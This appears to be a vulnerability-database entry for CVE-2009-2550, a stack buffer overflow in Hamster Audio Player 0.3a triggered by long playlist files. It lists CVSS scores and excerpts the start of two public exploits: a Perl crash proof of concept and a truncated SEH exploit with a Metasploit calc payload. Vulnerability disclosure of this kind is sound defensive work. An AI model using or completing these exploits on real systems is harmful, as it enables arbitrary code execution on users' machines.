9.3
CVSSv2

CVE-2009-2550

Published: 20/07/2009 Updated: 14/02/2024
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
VMScore: 940
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

Stack-based buffer overflow in Hamster Audio Player 0.3a allows remote malicious users to execute arbitrary code via a long string in a (1) .m3u or (2) .hpl playlist file.

Vulnerable Product Search on Vulmon Subscribe to Product

ondanera hamster audio player 0.3a

Exploits

# Hamster Audio Player 03a Local BOF PoC my $crash="\x41" x 4113 ; open(myfile,'>>PoCm3u')#/HPL print myfile $crash; # By ThE g0bL!N #Download:wwwbrothersoftcom/hamster-audio-player-download-235347html #Note: His0k4 Win Rak :( # milw0rmcom [2009-07-15] ...
#!/usr/bin/perl #[+] Bug : Hamster Audio Player 03a Universal BOF Exploit (SEH) #[+] Author : ThE g0bL!N #[+] Greetz to all my friends #[+] Tested on: Windows XP Pro SP2 (Fr) ##[+] Big thnx: His0k4 ########################################################## # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum metasploitcom my ...